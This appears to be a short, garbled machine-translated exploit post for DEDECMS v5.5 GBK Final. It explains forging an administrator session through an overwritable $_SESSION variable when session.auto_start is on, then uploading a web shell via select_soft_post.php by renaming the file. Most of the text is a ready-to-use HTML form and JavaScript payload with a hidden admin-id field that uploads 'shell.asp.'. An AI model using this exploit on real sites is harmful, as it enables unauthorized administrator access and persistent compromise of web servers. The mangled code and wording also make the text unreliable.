DEDECMS v5.5 GBK Final: a chicken rib Vulnerability

Wolves Security Team

When session. auto_start is enabled, the $ _ SESSION variable can be arbitrarily overwritten. We can counterfeit the Administrator's logon and upload files.

/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php

Rename the file to *. php.
You can bypass the check and upload shell

Exp:
<Form action = "" method = POST enctype = "multipart/form-data">
U & nbsp; R & nbsp; L: <input type = "text" name = "target" size = "50" value = "http: // 192.168.1.110"> & nbsp; & nbsp;
Path: <input type = "text" name = "path" value = "/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php" size = "90"> <br>
File: & nbsp; <input type = file name = previusfile size = 25/> (Filetype must be GIF/JPEG etc) & nbsp; & nbsp;
RenameTo: <input type = test name = newname value = "shell. asp."/> <br>
& Nbsp;
<Input type = hidden name = "_ SESSION [dede_admin_id]" value = 1>
<Input type = hidden name = "bkurl" value = 1>
<Input type = button value = submit onclick = "fsubmit ()"/> <br>
Dedecms 0day exp... <br>
Need: session. auto_start = 1 <br>
By toby57 2010/2/22
</Form>
<Script>
Function fsubmit (){
Var form = document. forms [0];
Form. action = form.tar get. value + form. path. value;
Tmpstr = form.tar get. value +/+ form. newname. value;
Form. bkurl. value = tmpstr. substr (0, tmpstr. length-1 );
Form. submit ();
}
</Script>